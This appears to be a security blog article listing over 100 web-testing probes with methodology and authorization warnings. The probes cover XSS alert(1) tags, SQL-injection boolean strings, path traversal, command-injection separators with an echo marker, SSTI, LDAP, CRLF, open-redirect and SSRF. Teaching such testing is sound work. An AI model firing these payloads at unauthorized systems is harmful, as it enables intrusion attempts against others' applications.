Author: Trix Cyrus
Waymap Pentesting Tool: Click Here
TrixSec Github: Click Here
TrixSec Telegram: Click Here
Web applications constantly process user-controlled input. When that input is handled incorrectly, it can lead to vulnerabilities such as Cross-Site Scripting (XSS), SQL Injection, Server-Side Template Injection (SSTI), Command Injection, Path Traversal, and more.
Security researchers and penetration testers often use small, controlled payloads to determine how an application processes unexpected input.
This article contains 100+ practical payload examples for authorized web security testing. Use them only against applications you own or have explicit permission to test.
1. Basic XSS Payloads
Cross-Site Scripting occurs when an application places untrusted input into a page without properly encoding it.
Basic payloads:
<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.title)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
These are primarily useful for determining whether arbitrary HTML or JavaScript can execute in the browser.
2. HTML Injection Payloads
HTML injection does not necessarily require JavaScript execution.
Try simple HTML elements first:
<h1>TEST</h1>
<b>Injected Content</b>
<i>Security Test</i>
<mark>TEST</mark>
<div>Injected HTML</div>
<a href="https://example.com">TEST</a>
<img src="invalid">
If these elements are rendered rather than encoded, investigate the context further.
3. Attribute Injection
When user input is inserted into an HTML attribute, test whether you can escape the existing attribute.
" test
' test
" autofocus
' autofocus
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
The exact payload depends heavily on the surrounding HTML context.
4. SQL Injection Detection Payloads
SQL injection occurs when user-controlled input is incorporated into SQL queries unsafely.
Start with harmless syntax probes:
'
"
`
')
")
'))
"--
'--
Boolean-based testing can use paired inputs such as:
' AND 1=1--
' AND 1=2--
' OR 1=1--
' OR 1=2--
The goal is to compare application behavior between logically equivalent and contradictory conditions.
Tip: A single error is not proof of SQL injection. Compare responses, status codes, content length, timing, and application behavior.
5. Numeric SQL Injection Testing
Applications frequently use numeric parameters.
For example:
1
1'
1"
1 AND 1=1
1 AND 1=2
1 OR 1=1
1 OR 1=2
These can help determine whether a numeric parameter is being incorporated into a database query.
6. JSON Injection Testing
Modern APIs frequently accept JSON.
Try malformed or unexpected values in controlled environments:
{"id":"1"}
{"id":"1'"}
{"id":"1\""}
{"name":"<test>"}
{"name":"<script>alert(1)</script>"}
Also test unexpected types:
{"id":null}
{"id":[]}
{"id":{}}
{"id":true}
Unexpected types can expose validation and authorization weaknesses.
7. Path Traversal Payloads
Path traversal occurs when applications construct filesystem paths from untrusted input without proper validation.
Basic traversal probes:
../
../../
../../../
../../../../
Encoded variants:
..%2f
%2e%2e%2f
%2e%2e/
..%252f
Windows-style traversal:
..\
..\..\
..%5c
Double-encoded traversal:
%252e%252e%252f
Always test traversal against a controlled application containing intentionally created test files.
8. Command Injection Detection
Command injection happens when user input reaches an operating-system command interpreter.
Safe separators and probes for controlled labs include:
;
|
&&
||
&
$(...)
`...`
For a test application, you can use a harmless marker:
; echo TEST
| echo TEST
&& echo TEST
$(echo TEST)
`echo TEST`
A returned TEST marker can help demonstrate command execution without interacting with sensitive system resources.
9. Server-Side Template Injection (SSTI)
SSTI occurs when user-controlled input is interpreted as a server-side template.
Common mathematical probes include:
{{7*7}}
{{7+7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
If an application transforms these into a calculated value such as 49, investigate which template engine is processing the input.
10. LDAP Injection Testing
LDAP-backed applications should also validate user input.
Basic probes:
*
)(
*
admin*
*)(uid=*)
*)(objectClass=*)
Use these only against authorized LDAP applications or intentionally vulnerable labs.
11. XML Injection Testing
For applications accepting XML, start with simple malformed structures:
<test>hello</test>
<test><value>hello</value></test>
<test></value></test>
<test><![CDATA[test]]></test>
You can also test whether unexpected XML structures are accepted by the parser.
For XXE testing, use a dedicated local laboratory rather than testing external systems.
12. HTTP Header Injection
Applications that reflect user-controlled values into HTTP headers can be vulnerable to header injection.
Test special characters such as:
%0d%0a
%0a
%0d
Encoded CRLF:
%0D%0A
A controlled test value can be:
test%0d%0aX-Test: injected
Then inspect the response headers.
13. Open Redirect Testing
If an application accepts a redirect parameter, test whether it accepts an external destination:
https://example.com
//example.com
https:%2f%2fexample.com
//example.com/test
For example:
/login?next=https://example.com
If the application redirects to an arbitrary external domain, investigate the behavior as a potential open redirect.
14. URL Parsing Tests
URL parsers can behave differently around unusual input.
Useful test values include:
https://example.com
//example.com
https://example.com/
https://example.com?test=1
https://example.com#test
https://example.com%2f
https://example.com%3f
These are useful when testing redirect, SSRF, URL validation, and allowlist implementations.
15. SSRF Detection
Server-Side Request Forgery occurs when an application can make network requests based on attacker-controlled input.
For authorized testing, use a server you control:
http://your-test-server.example/
https://your-test-server.example/ssrf-test
You can then monitor whether the application makes a request to your controlled endpoint.
For cloud environments, test metadata access only within an explicitly authorized lab.
16. Null Byte Testing
Some applications historically handled null bytes inconsistently.
Try:
%00
test%00
file.txt%00
../test%00
These can be useful when testing filename validation and parser differences.
17. Unicode and Encoding Tests
Input validation can behave differently after decoding.
Useful values include:
%3C
%3E
%22
%27
%2F
%5C
Double encoding:
%253C
%253E
%252F
%255C
These are particularly useful for testing whether validation happens before or after URL decoding.
18. Case Variation Tests
Some filters incorrectly assume a specific capitalization.
For example:
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
<Svg OnLoad=alert(1)>
Case variations can reveal weaknesses in poorly implemented filters.
19. Whitespace Testing
Applications and filters may treat whitespace differently.
Try:
test test
test%20test
test%09test
test%0atest
test%0dtest
Whitespace testing is particularly useful when investigating input normalization.
20. Authentication Testing Values
Authentication forms should be tested with unexpected input.
Examples:
'
"
admin
administrator
test
null
undefined
true
false
The goal is to identify differences in validation, error handling, and authentication logic rather than simply attempting random credentials.
21. Authorization / IDOR Testing
When an API uses object identifiers, change only the identifier while keeping the rest of the request identical.
For example:
/api/users/100
Test against another authorized test account:
/api/users/101
Similarly:
?id=100
?id=101
/user/100/profile
/user/101/profile
A security issue may exist if a user can access another user's resources without authorization.
22. File Upload Testing
File upload functionality should be tested with harmless files.
Examples:
test.txt
test.html
test.svg
test.jpg
Also test filename normalization:
test file.txt
test..txt
test%20file.txt
test%00.txt
The objective is to determine whether the application properly validates file type, extension, MIME type, filename, size, and storage location.
23. CORS Testing Values
When testing CORS configurations, use a domain you control:
https://your-test-origin.example
https://sub.your-test-origin.example
null
Then inspect whether the application returns unexpected:
Access-Control-Allow-Origin
or:
Access-Control-Allow-Credentials
combinations.
24. API Parameter Pollution
Try sending the same parameter multiple times:
?id=1&id=2
?role=user&role=admin
?redirect=/home&redirect=https://example.com
Different frameworks may interpret duplicate parameters differently.
This can expose inconsistencies between frontend validation, backend parsing, proxies, and application logic.
25. HTTP Method Testing
If an endpoint normally accepts:
GET
test whether it behaves unexpectedly with:
POST
PUT
PATCH
DELETE
OPTIONS
HEAD
Unexpectedly enabled methods can sometimes reveal functionality that was not intended to be publicly accessible.
26. Security Testing Markers
Sometimes the best payload is simply a unique marker.
Use values such as:
TRIXSEC_TEST_001
TRIXSEC_XSS_TEST
TRIXSEC_SSTI_TEST
TRIXSEC_SQLI_TEST
TRIXSEC_SSRF_TEST
TRIXSEC_CANARY_12345
Unique markers make it much easier to identify where input is reflected or processed.
27. Payload Encoding Checklist
When a basic payload is blocked, don't immediately assume the application is secure.
Test how the application handles:
- URL encoding
- Double URL encoding
- HTML encoding
- Unicode
- Case changes
- Whitespace
- JSON escaping
- Backslash escaping
- Parameter duplication
- Content-Type changes
- Character normalization
For example:
<
can become:
%3C
and then:
%253C
This helps identify inconsistencies between different layers of an application.
28. Quick Payload Reference
Here is a compact list of useful testing values:
'
"
`
')
"))
--
#
;
|
&&
||
../
..%2f
%2e%2e%2f
%00
%0d
%0a
%0d%0a
*
)(
{{7*7}}
${7*7}
<%=7*7%>
<test>
<h1>TEST</h1>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
" onfocus=alert(1) autofocus="
' onfocus=alert(1) autofocus='
TRIXSEC_TEST
TRIXSEC_XSS_TEST
TRIXSEC_SQLI_TEST
TRIXSEC_SSTI_TEST
TRIXSEC_SSRF_TEST
How to Use Payloads Effectively
Payloads are only one part of web security testing.
A good testing methodology is:
1. Find the input
Identify parameters, headers, cookies, JSON fields, URL paths, file uploads, and other user-controlled data.
2. Establish a baseline
Record the normal response:
- Status code
- Response size
- Response body
- Headers
- Response time
- Redirect behavior
3. Introduce a harmless marker
Use something like:
TRIXSEC_TEST_001
Determine whether the value is reflected, stored, transformed, or ignored.
4. Identify the context
Ask where your input appears:
HTML
HTML attribute
JavaScript
CSS
JSON
SQL
URL
HTTP header
Template
Filesystem path
5. Select an appropriate test
Use a payload designed for that specific context.
6. Compare the response
Look for meaningful differences rather than relying on a single error message.
7. Confirm safely
Reproduce the behavior using the smallest possible proof of concept.
Important: Payload ≠ Vulnerability
One of the biggest mistakes beginners make is assuming:
"My payload worked, therefore the application is vulnerable."
That isn't necessarily true.
For example, seeing:
<script>alert(1)</script>
in an HTTP response does not automatically mean XSS exists.
You need to determine whether the browser actually interprets the input as executable markup and whether the behavior occurs in a security-relevant context.
The same principle applies to SQL errors, template expressions, path traversal strings, and other probes.
Building Your Own Payload Wordlist
Instead of relying on one massive static list, organize payloads by vulnerability class:
payloads/
├── xss/
├── sqli/
├── ssti/
├── ssrf/
├── traversal/
├── command-injection/
├── cors/
├── open-redirect/
├── headers/
├── api/
└── encoding/
This makes automated security testing much easier because your scanner can select payloads based on the context it discovers.
For example:
Parameter discovered
↓
Identify parameter context
↓
Select payload category
↓
Send controlled probe
↓
Compare response
↓
Analyze result
↓
Generate finding
This is also a useful architecture for developing your own vulnerability scanner.
Useful Tools for Payload Testing
Some commonly used tools include:
- Burp Suite — Intercepting requests, modifying parameters, and analyzing responses.
- OWASP ZAP — Open-source web application security testing.
- Waymap — Automated web vulnerability scanning.
- ffuf — Web fuzzing and content discovery.
- Nuclei — Template-based vulnerability detection.
- httpx — HTTP probing and web service discovery.
- Caido — Modern web security testing proxy.
- Wireshark — Network traffic analysis.
Ethical Hacking and Legal Considerations
These payloads should only be used against:
- Your own applications
- Local security laboratories
- CTF environments
- Bug bounty targets within their published scope
- Systems where you have explicit authorization
Never use security testing payloads to access, modify, or extract data from systems without permission.
A good security researcher doesn't just know how to exploit a vulnerability.
They know when they are authorized to test it.
Conclusion
Payloads are fundamental building blocks of web application security testing, but a payload by itself does not prove a vulnerability.
The real skill is understanding:
- Where your input goes
- How the application processes it
- Which parser interprets it
- How different encoding layers interact
- How to distinguish a real vulnerability from a false positive
Start with simple probes, establish a baseline, understand the application's input context, and escalate testing only when the evidence supports it.
Most importantly, practice in controlled environments and use your security skills responsibly.
Happy Hunting & Stay Ethical!
~Trixsec
Top comments (0)